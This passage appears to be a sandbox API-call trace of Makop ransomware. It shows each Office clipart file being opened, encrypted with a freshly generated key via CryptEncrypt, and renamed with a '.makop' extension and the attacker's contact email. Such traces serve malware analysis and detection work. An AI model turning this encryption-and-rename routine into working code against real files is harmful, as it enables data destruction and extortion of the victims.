param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF") returned 63 [0153.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.084] GetProcessHeap () returned 0x48a0000 [0153.084] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.084] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.084] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.088] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.088] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.088] GetProcessHeap () returned 0x48a0000 [0153.089] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.089] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.089] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.089] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.089] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.089] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.089] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.089] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.090] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.090] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.090] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.090] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.090] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x81c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x81c, lpOverlapped=0x0) returned 1 [0153.090] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x820, dwBufLen=0x820 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x820) returned 1 [0153.090] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.090] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x820, lpOverlapped=0x0) returned 1 [0153.091] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.091] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.091] SetEndOfFile (hFile=0xf0) returned 1 [0153.099] GetProcessHeap () returned 0x48a0000 [0153.099] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.099] GetProcessHeap () returned 0x48a0000 [0153.099] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.099] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.099] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.101] CloseHandle (hObject=0xf0) returned 1 [0153.101] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f34ba00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f34ba00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1412, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00170_.WMF", cAlternateFileName="")) returned 1 [0153.101] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF") returned 63 [0153.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.104] GetProcessHeap () returned 0x48a0000 [0153.104] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.104] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.104] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.104] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0153.109] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.109] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.109] GetProcessHeap () returned 0x48a0000 [0153.109] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.109] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.109] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.109] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.109] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.109] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.110] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.110] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.110] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.110] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.110] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.110] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.111] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1412, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1412, lpOverlapped=0x0) returned 1 [0153.112] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1420, dwBufLen=0x1420 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1420) returned 1 [0153.112] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.112] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1420, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1420, lpOverlapped=0x0) returned 1 [0153.113] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.113] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x14f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.113] SetEndOfFile (hFile=0xf0) returned 1 [0153.119] GetProcessHeap () returned 0x48a0000 [0153.119] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.119] GetProcessHeap () returned 0x48a0000 [0153.120] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.120] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.120] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.122] CloseHandle (hObject=0xf0) returned 1 [0153.122] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d702300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d702300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x50c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00560_.WMF", cAlternateFileName="")) returned 1 [0153.122] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF") returned 63 [0153.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.123] GetProcessHeap () returned 0x48a0000 [0153.123] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.123] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.123] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.124] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.128] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.128] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.128] GetProcessHeap () returned 0x48a0000 [0153.128] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.128] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.128] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.128] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.129] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.129] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.129] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.129] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.129] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.129] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.129] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.130] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.130] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x50c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x50c, lpOverlapped=0x0) returned 1 [0153.130] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x510, dwBufLen=0x510 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x510) returned 1 [0153.130] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.130] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x510, lpOverlapped=0x0) returned 1 [0153.130] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.130] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.130] SetEndOfFile (hFile=0xf0) returned 1 [0153.137] GetProcessHeap () returned 0x48a0000 [0153.137] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.137] GetProcessHeap () returned 0x48a0000 [0153.137] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.137] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.138] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.139] CloseHandle (hObject=0xf0) returned 1 [0153.139] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd194b700, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd194b700, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00642_.WMF", cAlternateFileName="")) returned 1 [0153.140] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF") returned 63 [0153.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.141] GetProcessHeap () returned 0x48a0000 [0153.141] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.141] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.141] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.141] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.146] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.146] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.146] GetProcessHeap () returned 0x48a0000 [0153.146] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.146] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.146] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.146] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.147] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.147] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.147] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.147] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.147] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.147] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.147] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.148] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.148] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x778, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x778, lpOverlapped=0x0) returned 1 [0153.148] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x780, dwBufLen=0x780 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x780) returned 1 [0153.148] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.148] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x780, lpOverlapped=0x0) returned 1 [0153.148] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.148] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.148] SetEndOfFile (hFile=0xf0) returned 1 [0153.155] GetProcessHeap () returned 0x48a0000 [0153.155] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.155] GetProcessHeap () returned 0x48a0000 [0153.155] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.156] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.156] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft 